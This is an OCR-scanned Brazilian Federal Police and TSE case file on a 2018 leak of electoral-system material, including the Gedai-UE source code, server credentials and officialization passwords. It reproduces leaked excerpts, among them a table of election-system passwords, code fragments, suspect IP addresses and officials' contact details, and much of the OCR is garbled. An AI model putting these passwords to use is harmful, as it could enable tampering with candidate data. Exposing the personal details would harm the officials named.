_ . . ..f An - , I .d|hb.l.dO servidor de buiud dos codigos ontes da urna eletronica nao possuia qua quertipo e og a iita o

- Devido a manutencfies para solucionar travamentos nos firewall do TSE, a equipe da Global IP realizou reinstalacao
do servico de geréncia, nao tendo 0 devido cuidado de nao prejudicar os logs armazenados. Outrossim, o volume de
logs configurado pela empresa ficou em apenas 80GB, sendo suficiente para apenas 2 dias, considerando-se o volume
de acessos durante o periodo eleitoral.

Assim, informamos que o TSE nao possui dados adicionais para repassar a Policia Federal.

Respeitosamente,

Cristiano Moreira Andrade

Coordenadoria de Infraestrutura

Secretaria de Tecnologia da lnformacao

TRIBUNAL SUPERIOR ELEITORAL

,‘61)3030-8970

https://correio .pf.gov. br/SOGo/so/campos.vnfc/Mail/view
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SERVICO PUBLICO FEDERAL
MSP - POLICIA FEDERAL

SUPERINTENDENCIA REGIONAL NO DISTRITO FEDERAL
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902

R E M E S S A
Ministério Publico Federal do DF

0(3) 07/08/2019, faco remessa dos autos do IPL n
14, contendo 1 volume(s) e 0 apenso(s). Eu

1 , LEONARDO BRUCE MADUREIRA LOPES,Escriva
de Policia ederal,1“ Classe, Matricula n° 17.933, que o lavrei.

IPL N° 1361/2018
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» MINISTERIOPUBLICOFEDERAL ’
PROCURADORIA DA REPUBLICA N0 DISTRITO FEDERAL I

COORDENADORIA JURIDICA _
' DIVISAO CRIMINAL

AUTOS: DPF/DF-I361/2018-INQ . I

_ ‘ ' CERT] DAO

Certifico que, em 09/08/2019, deram entrada na Procuradoria da Republica no Distrito Federal os presentes autos e, nesta
- data, conforme regras estabelecidas no Congresso Intemo de 2018 e na Resolucao 3|/2018, faco sua:

Movimentacao ao(a) Procurador(a) da Republica, Dr.(a) Igor Nery Figueiredo, ~ I
_ @ Por ser o(a) titular do PRDF — 2° Oficio de CCI, ao _qual 0 presente feito encontra-se distribuido.

O Por ser 0(a) titular do PRDF — Oficio d_e CCI, substituto nao designado. I
Q - . atuando no

acervo do PRDF — ' - ‘
Q A pedido. -

' Brasilia, 09/08/2019; -
’ .

I Roberto‘ Fompeu’[i27280-9
. DIVISAO CRIMINAL '

1

- I

~

v

- .

» 6
A

I

‘ ~

I 0

/

‘ .

CERTI DAO DE REMESSA - . _ "1

Em !£/ /2019, faco remessa dos presentes autos, -contendo volume(s) eg anexo/apenso(s), a (ao)
l:| lustica Federal/DF E Depattamento de Policia Federal El '

. ' I I / 91 07?) I
Responsavel/Matricula

\

\

. \
\
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Ministério Publico Federal
I L '1 Procuradoria da Reptiblica no Distrito Federal

I ."
£5‘’1§"‘:1:-1‘1 ug0

é. 11428-\‘we

IPL n° 1361/2018 SR/DPF/DF

Sr.(a) Delegado(a) de Policia Federal,

O presente inquérito nao se encontra suficientemente instruido, havendo

necessidade de prosseguimento das investigacoes com vistas a formacao da opinio delicti.

Destarte, este orgao ministerial concede novo prazo de 90 (noventa) dias

para a realizacao das diligéncias indispensaveis ao esclarecimento dos fatos sob apuracao,

confom1e solicitado a fl. 78.

Brasilia/DF, l2 de agosto de 2019. /

IGOR ' ' Y FIGUE I
Proc adorda RepL'1 .

PR/DF I SGAS 604, Lote Z3, Av. L2 Sul, Brasilia/DF CEPI70200-640
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SERVIQO PLLBLICO FEDERAL
MSP - POLICIA FEDERAL

SUPERINTENDENCIA REGIONAL NO DISTRITO FEDERAL
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902

IPL n° 1361/201a-4 - SR/PF/DF

E 
1. Considerando a resposta da empresa TIM e da empresa Claro, expega-se oficio ao
TSE (encaminhe-se copia ao endereoo de emial de fl. 85) solicitando informar as
portas logicas das seguintes conexoes, bem como seus fusos horarios:

189.40.75.154, em 18/04/2018, as 18:56:14
191.51.34.72, em 18/O4/2018, as 19:02:05
189.40.75.239, em 18/04/2018 20:45:41
177.219.117.183, em 18/O4/2018, as 20:56:20
189.40.72.247, 18/04/2018, as 22:21:17
189.40.72.14, em 18/04/2018 22:23:14
189.40.91.135, em 18/04/2018, as 22:29:37
189.40.90.239, em 19/04/2018, as 01:13:32
189.40.90.253, em 19/04/2018, as 04:08:37
201.81 .167.53, em 18/04/2018, as 03:15:28 e 21/04/2019, as 08:36:42, e
201.6.129.235, em 18/O4/2018, as 05:24:54 e 18/O4/2018, as 05:48:59.

2. Considerando que ainda restam pendentes diligéncias tidas por imprescindiveis ao
esclarecimento da verdade material (art. 4°, do CPP e art. 2°, §1°, da Lei 12.830/2013)
e considerando as disposiooes do Provimento/COGER n° 37/2009 (TRF 1° Regiao),
remetam-se estes autos ao MPF do DF, para fins de controle externo (Art. 129, VII,
da CF/88, clc. o Art. 9°, ll, da LC 75/93), solicitando posterior devolugao para
continuidade das investigaooes ou, em caso de apresentaoao de pega acusatoria ou
promogao de arquivamento, comunicagéo formal da medida adotada a esta
Superintendéncia, para fins de registro e baixa em sistemas de controle interno.

Brasilia/DF, 27 de novembro de 2019.

VICTOR NEVE ITOSA CAMPOS
Delegado P licia Federal

Classe Especial - Ma 'cu|a/n° 16.179

IPL N° 1361/2018
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SERVIQO PUBLICO FEDERAL
MSP - POLICIA FEDERAL

SUPERINTENDENCIA REGIONAL NO DISTRITO FEDERAL
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902

Oficio n° 0070/2020 - IPL 1361/2018-4 SR/PF/DF - GRCC

Brasilia/DF, 06 de janeiro de 2020.

A Sua Exceléncia
Ministra ROSA MARIA PIRES WEBER
Presidente do Tribunal Superior Eleitoral
Tribunal Superior Eleitoral - TSE
Setor de Administragao Federal Sul (SAFS)
Quadra 7, Lotes 1/2, Brasilia/DF ,5.-. _f-3 ‘_ - hi _.i 3
CEP 70070-600 _,m~, ._¢ V‘ ‘M1,, ,

1 ..: -I Z1‘; ‘ . .
Assunto: Solicitagao de informa<;6_es_ -~ - _. _
Ref.: IPL 1361/2018-4 - SR/PF/DF -'(Fa‘vor citar essa §ef§r§:r1f_:4:a’na resposta)

. .- .1...

' Q--‘ .-
-4Senhora Ministra,

Visando instruir os autos do lnquérito Policial n° 1361/2018-4 -
SR/PF/DF, solicito a Vossa Exceléncia solicitando informar as portas logicas das
seguintes conexoes, bem como seus fusos horarios:

189.40.75.154, em 18/O4/2018, as 18:56:14
191.51.34.72, em 18/O4/2018, as 19:02:05
189.40.75.239, em 18/O4/2018 20:45:41
177.219.117.183, em 18/O4/2018, as 20:56:20
189.40.72.247, 18/04/2018, as 22:21:17
189.40.72.14, em 18/04/2018 22:23:14
189.40.91.135, em 18/O4/2018, as 22:29:37
189.40.90.239, em 19/O4/2018, as O1 113132
189.40.90.253, em 19/O4/2018, as 04:08:37
201.81.167.53, em 18/O4/2018, as 03:15:28 e 21/O4/2019, as 08:36:42, e
201.6.129.235, em 18/O4/2018, as 05324254 e 18/O4/2018, as 05248259.

Em anexo copia de fl. 85 dos autos, encaminhada pelo servidor
CRISTIANO MOREIRA ANDRADE.

/
Respeitosamente, '

VICTOR NEVE F I OSA CAMPOS
Delegado e ol la. Federal

Classe Especi - Matricula n° 16.179

Fl. 263
SR/PF/DF

2020.0043195



NESTA om moo REMESSA,
PRESENTESAUTOS A0 MP1
Do QUEZPARA comsma. l./AVRO
ESTE reamo. asaror. <,¢ /o\ .-ww

1 Escvlviio- . - ' 4 .. -5.4.2:/tress ~ slaw-we
Escrivzo ;=e>i.@~.¢. -zoleral

!,,f_ \ -r - ,\--~
!v.¢.. 1 /...,u

S ,.,.

Z’

G

l
l
l

l
i

l
I

Fl. 264
SR/PF/DF

2020.0043195



\.

’ ,l l ,l_ -

' -.~;»:.<7~'
I.‘-_ " '

- lj|{ K3;  
1 MINISTERIO PUBLICO FEDERAL _ 1

" PROCURADORIA DA REPUBLICA NO DISTRITO FEDERAL ,
_ _ COORDENADORIA JURIDICA

_ DIVISAO CRIMINAL
I

‘ -
'. s

AUTOS : DPF/DF-1361/2018-INQ I

CERTIDAO
Certifico que, em O8/01/2020, 0s'presentes autos deram entrada na Procuradoria da Republica
no Distrito Federal e, nesta data, conforme regras estabelecidas no Congresso Inter'no d_e 2018
e na Resoluoao 31/2018, Vfaoo sua MOVIMENTACAO ao(a) Procurador(a) da _RepL'1blica,
Dr(a). IGOR NERY FIGUEIREDO, por ser 0(a) titular do PRDF — 2° Oficio de. CCI, a0 qual
0 presente feito encontra-se,distribuido. ' i " .

&

_ Brasilia, 8 de janeiro de 2020.

_ .

\/6l’Qk%,r A I~ . V.inicjus Matté égory—30l86 1 '
. DIVISAOC MINAL '

\

l ' ,

%

- ' \ CERTIDAO DE REMESSA , '
Em 12/E/2019, fago remessa dos presentes autos, contendo __\_ volume(s) e‘<é_ anexo(s)/
apenso(s), ao(a) ' .
[ ] J_ustig:a Federal/DF, Q Vara _ Depanamento de Policia Federal
[ ] Outroz . ' - V _ _ l

~ /41/v\~0llLo§/9/lwilill -  
D Responsavel / Matricula ’

. ,. ‘.‘\
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_ ‘ - MINISTERIO PUBLICO FEDERAL r
. PROCURADORIA DA REPUBLICA - DISTRITO FEDERAL .

- . \

IPL n° 1361/2018 SR/DPF/DF_

raacessa

» ‘ 0

slnatu. ‘ ' Sr.(a) Delegado(a) dc Policia Federal, 4
n ‘ =v 88$

ificar

4 . .

b - A .

ver 916' "O' presente inquérito nao se encontra suficientemente instruido, havendo .2
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\'l, 1., SR/PF/ F
Fl: 3 l

-: Rub:

SERVIQO PUBLICO FEDERAL
MSP - POLICIA FEDERAL

SUPERINTENDENCIA REGIONAL NO DISTRITO FEDERAL
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902

IPL n° 1361/2018-4 - SR/PF/DF

E 
1. Verifique-se se consta em cartorio resposta ao oficio de fl. 90. Em caso

positivo, junte-se. Em caso negativo, reitere-se.
2. Expeca-se oficio ao TSE, solicitando informar se foi instaurada

sindicancia ou processo administrativo para apurar os fatos relacionados ao Oficio
5825 GAB-SPR, caso positivo solicita-se que encaminhe copia do procedimento para
este signatario.

3. Aguarde-se em cartorio resposta aos expedientes supra, obsen/ando-se
o prazo de permanéncia dos autos no ambito policial.

Brasilia/DF, 11 de marco de 2020.

/
/.~

VICTOR NE1\/IE F OSA CAMPOS
Delegado o icia Federal

Classe Especi M tricula n° 16.179
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SERVICO PUBLICO FEDERAL
MSP - POLlClA FEDERAL

SUPERINTENDENCIA REGIONAL NO DISTRITO FEDERAL
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902

Oficio n° 2179/2020 - IPL 1361/2018-4 SR/PF/DF - GRCC

Brasilia/DF, 06 de abril de 2020.
A Sua Exceléncia
Presidente do Tribunal Superior Eleitoral
Tribunal Superior Eleitoral - TSE
Setor de Administracao Federal Sul (SAFS)
Quadra 7, Lotes 1/2, Brasilia/DF
CEP 70070-600

Assunto: Reiteragao do Oficio n° Oficio n° 0070/2020 - IPL 1361/2018-4 SR/PF/DF
Ref.: IPL n° 1361/2018-4 - SR/PF/DF - (Favor citar essa referéncia na resposta)

Senhora Ministra,

Visando instruir os autos do lnquérito Policial n° 1361/2018-4 -
SR/PF/DF, solicito a Vossa Exceléncia solicitando informar as portas logicas das
seguintes conexoes, bem como seus fusos horarios:

189.40.75.154, em 18/04/2018, as 18:56:14
191.51.34.72, em 18/04/2018, as 19:02:05
189.40.75.239, em 18/04/2018 20:45:41
177.219.117.183, em 18/04/2018, as 20:56:20
189.40.72.247, 18/04/2018, as 22:21:17
189.40.72.14, em 18/04/2018 22:23:14
189.40.91.135, em 18/04/2018, as 22:29:37
189.40.90.239, em 19/04/2018, as 01:13:32
189.40.90.253, em 19/04/2018, as 04:08:37
201.81.167.53, em 18/04/2018, as 03:15:28 e 21/04/2019, as 08:36:42, e
201.6.129.235, em 18/04/2018, as 05:24:54 e 18/04/2018, as 05:48:59.

Em anexo copia de fl. 85 dos autos, encaminhada pelo servidor
CRISTIANO MOREIRA ANDRADE.

1

Respeitosamente,

VICTOR NEVES I OSA CAMPOS
Delegado d Pol cia Federal

Classe Especial - Ma ricu|a,n° 16.179 _

_; ll,_l! I SR/PF DF
Fl: Qgkl
Rub: .
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SERVICO PUBLICO FEDERAL
MSP - POLICIA FEDERAL

SUPERINTENDENCIA REGIONAL NO DISTRITO FEDERAL
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902

Oficio n° 2180/2020 - IPL 1361/2018-4 SR/PF/DF - GRCC

Brasilia/DF, 06 de abril de 2020.
A Sua Exceléncia
Presidente do Tribunal Superior Eleitoral
Tribunal Superior Eleitoral - TSE
Setor de Administracao Federal Sul (SAFS)
Quadra 7, Lotes 1/2, Brasilia/DF
CEP 70070-600

Assunto: Solicitacao de informacoes
Ref.: IPL 1361/2018-4 - SR/PF/DF - (Favor citar essa referéncia na resposta)

Senhora Ministra,

Visando instruir os autos do lnquérito Policial n° 1361/2018-4 - SR/PF/DF,
solicito a Vossa Exceléncia, informar se foi instaurada sindicancia ou processo
administrativo para apurar os fatos relacionados ao Oficio 5825 GAB-SPR, caso
positivo solicito que encaminhe copia do procedimento para este signatario.

Respeitosamente,

VICTOR NEVES El SA CAMPOS
Delegado de P Ii ia Federal

Classe Especial atr cula n° 16.179

Fl. 270
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POLÍCIA FEDERAL
GRUPO DE REPRESSÃO A CRIMES CIBERNÉTICOS  - GRCC/DRCOR/SR/PF/DF 

Endereço: SAIS, Qd. 7, Lote 23, Sala 135 - CEP: 70610-902  - Brasília/DF
 

CERTIDÃO DE DESENTRANHAMENTO
2020.0043195-SR/PF/DF

 
CERTIFICO QUE, desentranhei dos autos os documentos relacionados em virtude de falha no escaneamento do
IPL (faltando folha). O referido é verdade e dou fé.
 

Documento eletrônico assinado em 04/11/2020, às 11h15, por LEONARDO BRUCE MADUREIRA LOPES,
Escrivao de Policia Federal, na forma do artigo 1º, inciso III, da Lei 11.419, de 19 de dezembro de 2006. A

autenticidade deste documento pode ser conferida no site https://servicos.dpf.gov.br/assinatura/app/assinatura,
informando o seguinte código verificador: 849a25cfee26191a419099e5c5d7638a05f50485
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POLÍCIA FEDERAL
GRUPO DE REPRESSÃO A CRIMES CIBERNÉTICOS  - GRCC/DRCOR/SR/PF/DF

 
DESPACHO N° 1125040/2020

2020.0043195-SR/PF/DF
 

Considerando os Ofícios de fls. 94 e 95 dos autos fisicos.

1. 1. Aguarde-se a resposta do ofício de fl. 94.

2. 2. Junte-se a resposta do Ofício de fl. 95, o qual informa a abertura de Comissão de Sindicância e
documentos
anexos.

 
Brasília/DF, 4 de novembro de 2020.

Documento eletrônico assinado em 04/11/2020, às 11h17, por LEONARDO BRUCE MADUREIRA LOPES,
Escrivao de Policia Federal, na forma do artigo 1º, inciso III, da Lei 11.419, de 19 de dezembro de 2006. A

autenticidade deste documento pode ser conferida no site https://servicos.dpf.gov.br/assinatura/app/assinatura,
informando o seguinte código verificador: 1a7cebcdab4ecd2c92242325b4b1fb29f277adb1
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POLÍCIA FEDERAL
GRUPO DE REPRESSÃO A CRIMES CIBERNÉTICOS  - GRCC/DRCOR/SR/PF/DF 

Endereço: SAIS, Qd. 7, Lote 23, Sala 135 - CEP: 70610-902  - Brasília/DF
 

CERTIDÃO DE DESENTRANHAMENTO
2020.0043195-SR/PF/DF

 
CERTIFICO QUE, desentranhei dos autos os documentos relacionados em virtude de erro no escaneamento do
autos. O referido é verdade e dou fé.
 

Documento eletrônico assinado em 04/11/2020, às 11h20, por LEONARDO BRUCE MADUREIRA LOPES,
Escrivao de Policia Federal, na forma do artigo 1º, inciso III, da Lei 11.419, de 19 de dezembro de 2006. A

autenticidade deste documento pode ser conferida no site https://servicos.dpf.gov.br/assinatura/app/assinatura,
informando o seguinte código verificador: 47fbb82ab1eda190e690bed712256a93f61cd5a6
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Informação nº 32 STI (0905379)         SEI 2018.00.000014309-3 / pg. 1

TRIBUNAL SUPERIOR ELEITORAL 

Informação nO 32 STI 
Assunto: Denúncia de acesso indevido de dados relativos aos sistemas 
eleitorais e ao projeto do hardware da UE2018 

Senhor Diretor-Geral , 

1. Trata-se de informar acerca do recebimento de denúncia de acesso indevido 
de dados relativos aos sistemas eleitorais e ao projeto do hardware da UE2018. 
Tal denúncia foi encaminhada por e-mail à Assessoria de Comunicação deste 
Tribunal, a qual solicitou esclarecimentos sobre o teor do e-mail encaminhado 
pelo senhor Felipe Payão, identificado como repórter do portal TecMundo 
(https://www.tecmundo.com.brD . O conteúdo do e-mail encontra-se nos 
documentos anexos. 

2. Com relação ao conteúdo do arquivo TSE.rar, encaminhado pelo repórter 
(conteúdo impresso anexo). é possível afirmar que: 

2.1. foram incluídas capturas de tela de computador mostrando trechos de 
código-fonte do aplicativo Gedai-UE, de listas de arquivos e também de 
conteúdos de documentos; e 
2.2. foram incluídos arquivos presentes na árvore de código-fonte do Gedai-UE. 

3. Tal conteúdo evidencia o acesso indevido dos seguintes dados: 
3.1 . código-fonte completo do Gedai-UE, possivelmente da versão usada nas 
Eleições 2018, porém sem as assinaturas da Cerimônia de Lacração; 
3.2. chaves e credenciais de acesso a servidores usadas pelo Gedai-UE; 
3.3. senhas para oficialização dos sistemas Candidaturas e Horário Eleitoral 
utilizadas para a Eleição Suplementar 2018 de Aperibé/RJ ; 
3.4. manual técnico da impressora de votos desenvolvida pelo FIT/Quattro 
Eletrônica; 
3.5. manual do QR Code do boletim de urna. 

4. Não há evidência de acesso indevido do código-fonte do software da urna -
Uenux, embora exista a evidência de acesso indevido de código comum entre o 
Gedai-UE e o Uenux. 

5. Com relação ao material acessado indevidamente, o impacto é o seguinte: 

5.1. o manual do QR Code (item 3.5) já é de domínio público e encontra-se 
publicado na Internet; 
5.2. o manual da impressora de votos (item 3.4) não possui informação sensível, 
uma vez que trata-se da documentação de um protótipo que nunca entrou em 
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Informação nº 32 STI (0905379)         SEI 2018.00.000014309-3 / pg. 2

operação - o seu caráter sigiloso se deve a uma relação contratual entre o FIT e 
a Quattro Eletrônica; 
5.3. as senhas de oficialização (item 3.3) permitem a alteração de dados de 
partidos e candidatos (até mesmo a sua exclusão) no contexto de um processo 
eleitoral (ou seja, no caso concreto afeta somente a Eleição Suplementar 2018 
de Aperibé/RJ) ; 
5.4 as credenciais de acesso aos servidores usadas pelo Gedai-UE (item 3.2) 
podem permitir que alguém dentro da intranet da Justiça Eleitoral consiga copiar 
os dados de eleitores e candidatos que alimentam as urnas, mas sem a 
capacidade de adulterá-los; 
5.5. as chaves usadas pelo Gedai-UE (item 3.2) ainda requerem uma análise de 
risco mais detalhada; isso porque parte das chaves são geradas no momento da 
lacração e o acesso indevido diz respeito a material presente no ambiente de 
desenvolvimento - ou seja, o software lacrado usa chaves diferentes; na 
hipótese de serem as mesmas, existe a possibilidade de manipulação de 
arquivos de configuração que alimentam o software da urna; e 
5.6. o código-fonte do Gedai-UE, acompanhado de seus binários compilados, 
permite a importação de dados oficiais das eleiçôes e carregamento de urnas 
com esses dados; contudo, o software de urna utilizado não tem as assinaturas 
oficiais da lacração, o que fica evidenciado pelo LED de segurança da urna e 
pelos procedimentos de verificação de hash e assinatura; também não seria 
possível a geração de um boletim de urna válido para a Totalização a partir 
disso. 

6. Diante desse cenário, solicita-se a abertura de inquérito policial junto à Polícia 
Federal para apuração dos fatos. 

7. Outras providências já estão em andamento nesta STI para sanar as 
fragilidades que resultaram nesse acesso indevido, assim como tornar os 
sistemas expostos ainda mais seguros. 

8. Finalmente , alerta-se sobre a necessidade de tramitação urgente deste 
processo. 

É o que informo. 

Brasília, 07 de novembro de 2018. 

GI USEP--nt<rn:Hr-Httdl NO 
Secretário de Te 
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ENC: TecMundo ｾ＠ PossCvel acesso ao GEDAI/Documentos 
• 

1 de 2 

Assunto : ENC: TecMundo - Possível acesso ao GEDAI/Documentos 

De: Imprensa <imprensa@tse.jus.br> 

Data : 06/11/2018 13:57 

Para : Rodrigo Carneiro M unhoz Coimbra <rodrigo.coimbra@tse.jus. br> 

Pode nos dar um help? 

Obrigada I 

LetíCIa 

De: Felipe Pavão [mailto:felipe.cruz@gruponzn.com] 
Enviada em : terça-feira, 6 de novembro de 2018 13 :47 
Para: Imprensa; silvana.freitas@tre-sp.jus.br 
Assunto : Re: TecMundo - Possível acesso ao GEDAI/Documentos 

Os arqui\ os estão no ZIP, como indiquei na ligação. 

Obrigado 

Em 6 de novembro de 2018 12:36, Felipe Payão ＼ ＢＧｉｉｊＱｾ ｣ ｲｵ ＯＧｾｧ ｲｵｰｵｮＯＮｬＱ Ｎ ｣ｯｬＱＱ ＾＠ escreveu: 
Olá. Tudo bem? 

Recebemos alguns documentos e imagens de uma suposta invasão ao sistema GEDAI e outras 
informações sigilosas referentes aos processos do TSE. Antes de Lima provável publ icação, gostaríamos 
de compartilhar o material com vocês. 

Este seria o melhor canal? 
Obrigado 

NZN 

NZN 

Fel ipe Payão 

Repórter 

IhL +55115083 . 1018 
ChL +55 11 972827444 
HTTP:// nzn.io 

Felipe payão 

Repórter 

mL +55 11 5083. 10 18 
C"L +55 11 972827444 
HTIP:JI nzn.io 

06/11/2018 19:13 
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ENC: TecMun?o - Possível acesso ao GEDAljDocumentos 

Anexos: 

TSE.rar 1,OMB 

2 de 2 
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@date 21/05;2013 
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namespaee apl { 
namespaee wi { 
elass CIni ; 
} 
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elass CConversorTltuloRelatorioINl ( 
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vOld Desconverter(const std::vector<app::dados::CTltuloRelatorlo> & titulos , const std::strlng & none, 
apl::lnl: :(!nl & propertles); 

private: 
========= 

app::dados : :(TltuloRelatorlo: :EAllnhamentoTltulo ConverterAllnhamentoTltulo( lnt allnhamento); 

== ==== ］ｓ］］］ｓｅｾｾ］］ｚ］］］ｅｅ＠ 2 
app: :dados : :CTltuloRelatorlo : :EEstlloTltulo ConverterEstlloTltulo( lnt allnhamento); 

std: :strlng DesconverterAllnhamentoTltulo(app: :dados : :(TltuloRelatorlo: :EAllnhamentoTltulo allnhamento ) ; 

ｾＭ］ＺＺｉｉ＠ == ｾ］］］Ｒｾ＠ ================ 

std: :st r lng DesconverterEstlloTltulo(app::dados: :CTltuloRelatorlo: :EEstlloTltulo allnhamento); 
}; 
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Brasília, 08 de agosto de 201E 

Excelentíssimo(a) Senhor(a) Juiz(a), 

Por questões de segurança, serão uti lizadas, no processo informatizad 
do pleito nº 229 de 28/10/2018 - RJ - Suplementar de Aperibé, senha 
personalizadas para oficialização dos usuários e sistemas , de modo qu 
esses se tornem aptos a receber dados oficiais. 

Para realizar o procedimento, o usuário autorizado seleciona o sistem 
a ser oficializado . Em seguida, Vossa Excelência será solicitada a informar 
senha correspondente, conforme tabela abaixo. 

Pleito no 229 I Data de Geração Perfodo para Senha 00341 ZE • RJ Sistema da Senha OfIcialização 

08/08/2018 A partir de 07/08/2018 
W84C39Y6 CAN O I DATU RAS (após às 15h13 ) 

08/08/2018 A partir de 07/08/2018 
5Q4SCPUI HE (após às 15h20 ) 

- -
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li moduloeleitores.hpp 39,7 k8 

11 moduloresultadournacadastro.hpp 38,9 kB 

11 modulovalidacaocandidatos.hpp 32,0 kB 

11 modulocandidatos.hpp 30, 1 k8 

11 moduloenvelopeassinatura.hpp 25,8 kB 

11 modulocorrespondencia.hpp 25,6 kB 

11 moduloinformacaomidia.hpp 24,0 kB 

11 modulosecoes.hpp 23,4 kB 

11 moduloprocessoeleitoral.hpp 20,4 kB 

11 modulolocal.hpp 20,0 kB 

11 modulociposresulcadossevin.hpp 15,8 k8 

11 moduloscueconf.hpp 15,5 kB 

11 modulocorrespondenciaurna.hpp 14,8 kB 

11 modulocoligacoes.hpp 14,8 k8 

11 modulomesasjustificativa.hpp 13,9 k8 

11 modulocomplementosmunicipios.hpp 12,7 k8 

11 modulotipospacoces.hpp 12,3 k8 

11 modulotipossecinp.hpp 11 ,5 k8 

11 moduloimpedidos.hpp 10,9 kB 

11 modulosituacoeseleicoes.hpp 10,8 kB 

11 modulorespostaversaopacotes.hpp 10,4 kB 

11 moduloenvelopegeneríco.hpp 10, 1 kB 

11 modulolegendas.hpp 10,0 k8 

11 modulosolicitacaoestadosistema.hpp 10,0 kB 
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TRIBUNAL SUPERIOR ELEITORAL 

DESPACHO 

Senhora Presidente, 

Submeto à elevada consideração de Vossa Excelência a Informação nO 32 STI, 
cujo conteúdo foi encaminhado à Polícia Federal para investigação no dia 6 de novembro 
corrente, sugerindo que, paralelamente, os fatos ali narrados sejam apurados, 
administrativamente, por meio de sindicância. 

Para tanto, apresento, para assinatura, caso acolha seus termos, minuta de 
portaria constituindo comissão de sindicância. 

Respeitosamente, 

2018.00.0000143 09-3 

urado Fleury 

Diretor-Geral 

Documento nO 0905380 v7 
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TRIBUNAL SUPERIOR ELEITORAL 

Portaria TSE nº 976 de 08 de novembro de 2018. 

A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, no uso de suas 
atribuições legais e regimentais, com fundamento no art. 143 da Lei 8.112, de 11 de 
dezembro de 1990, resolve: 

designar os Juízes Auxiliares do Gabinete da Presidência, Doutor Ricardo Fioreze 
e Doutor Fernando Pessôa da Silveira Mello, e o servidor Daniel Carlos Lima Corrêa, para, 
sob a presidência do primeiro, constituírem Comissão de Sindicância, visando apurar, no 
prazo de 60 dias, os fatos tidos como possíveis irregularidades, constantes do 
Procedimento SEI nº 2018.00.000014309-3. 

fWk 
M' istra ROSA WEBER 

2018.00.000014309-3 Documento nO 090538 1 v9 
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Márcia Lobo Paiva Rodrigues

De: Sérgio Carlos Tres e Silva
Enviado em: quinta-feira, 8 de novembro de 2018 16:56
Para: Márcia Lobo Paiva Rodrigues
Cc: Joice Ribeiro Gonçalves Da Rocha
Assunto: ENC: DJE - Aviso de Envio de Materia

 
 
De: dje@tse.jus.br [mailto:dje@tse.jus.br]   
Enviada em: quinta-feira, 8 de novembro de 2018 16:56 
Para: Sérgio Carlos Tres e Silva 
Cc: dje@tse.jus.br 
Assunto: DJE - Aviso de Envio de Materia 
 
   
(Esta é uma mensagem automática gerada pelo Diário de Justiça Eletrônico, não é necessário respondê-la.) 
  
  
Recibo DJ-e Nr. 94276/2018 

Prezado Sr(a) SÉRGIO CARLOS TRÉS E SILVA, 

Acusamos o recebimento da seguinte matéria para publicação no Diário da Justiça Eletrônico:  
  

Titulo 
Data 
Remessa 

Data 
Publicação 

Seção SubSeção Tipo 

Designação. Juízes Auxilares. 
Comissão de Sindicância. 

08/11/18 09/11/18 Presidência 
Atos da 
Presidência 

Portaria 
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De: Presidencia
Enviado em: terça-feira, 13 de novembro de 2018 15:17
Para: Ricardo Fioreze; Fernando Pessôa da Silveira Mello; Daniel Carlos Lima Corrêa; 

Sérgio Carlos Tres e Silva
Assunto: Comissão de Sindicância

Prioridade: Alta

Prezados Senhores, 
 
De ordem do Presidente da Comissão de Sindicância criada por meio da Portaria TSE 976/2018, convido todos os 
membros para a reunião inicial no dia 14/11/2018, quarta-feira, na sala de reuniões da Presidência, de 15h às 16h. 
 
Respeitosamente, 
 

 

Sérgio Trés 

Gabinete da Secretaria-Geral da Presidência  
E-mail: sergio.tres@tse.jus.br  
Telefone: (61) 3030-7837 
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TRIBUNAL SUPERIOR ELEITORAL

Memorando nº 125 GAB-SPR

Senhor Secretário de Tecnologia da Informação,

Assunto: Informação nº 32 STI.

                          

Comunico a Vossa Senhoria que a Portaria TSE nº 976 criou Comissão de

Sindicância visando a apurar os fatos tidos como possíveis irregularidades, noticiados na

Informação nº 32 STI.

Como Presidente da Comissão, coloco-me à disposição para a troca de informações e

documentos, em caráter reservado, por meio do e-mail ricardo.fioreze@tse.jus.br ou do telefone

(61) 3030-2795.

Paralelamente, solicito a gentileza de, igualmente em caráter reservado, me serem

informadas quais outras providências foram adotadas pela Secretaria de Tecnologia da

Informação, incluindo as conclusões já obtidas, para apuração do ocorrido e saneamento das

fragilidades que resultaram no acesso indevido, para, assim, tornar os sistemas mais seguros (item

7 da citada Informação).

Atenciosamente,

 

 

Ricardo Fioreze

Juiz Auxiliar da Presidência

Presidente da Comissão de Sindicância

RICARDO FIOREZE

JUIZ AUXILIAR DA PRESIDÊNCIA DO TRIBUNAL SUPERIOR ELEITORAL

  Documento assinado eletronicamente em 23/11/2018, às 15:10, conforme art. 1º, §2º, III,

b, da Lei 11.419/2006.

A autenticidade do documento pode ser conferida em 

https://sei.tse.jus.br/sei/controlador_externo.php?

acao=documento_conferir&id_orgao_acesso_externo=0&cv=0911528&crc=F1CA9EFD,

informando, caso não preenchido, o código verificador 0911528 e o código CRC

F1CA9EFD.
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TRIBUNAL SUPERIOR ELEITORAL

Ofício nº 5979 GAB-SPR

Brasília, 20 de novembro de 2018.

A Sua Excelência o Senhor

Dr. ROGÉRIO AUGUSTO VIANA GALLORO

Diretor-Geral da Polícia Federal

Brasília - DF

 

Assunto: Ofício nº 5825 GAB-SPR. Medidas de polícia judiciária. 

 

Senhor Delegado,

 

Informo a Vossa Excelência que a partir das informações constantes na Informação nº

32 STI, enviadas ao Departamento da Polícia Federal por meio do Ofício nº 5825 GAB-SPR, foi

criada, no âmbito do TSE, Comissão de Sindicância específica, visando a apurar os fatos tidos

como possíveis irregularidades.

Como Presidente da Comissão, coloco-me à disposição para a troca de informações e

documentos, em caráter reservado, por meio do e-mail ricardo.fioreze@tse.jus.br ou do telefone

(61) 3030-2795.

Paralelamente, solicito a gentileza de, igualmente em caráter reservado, serem enviados

a mim os resultados da investigação que for promovida por esse Departamento sobre o mesmo

assunto.

 

Atenciosamente,

 

Ricardo Fioreze

Juiz Auxiliar da Presidência

Presidente da Comissão de Sindicância

RICARDO FIOREZE

JUIZ AUXILIAR DA PRESIDÊNCIA DO TRIBUNAL SUPERIOR ELEITORAL

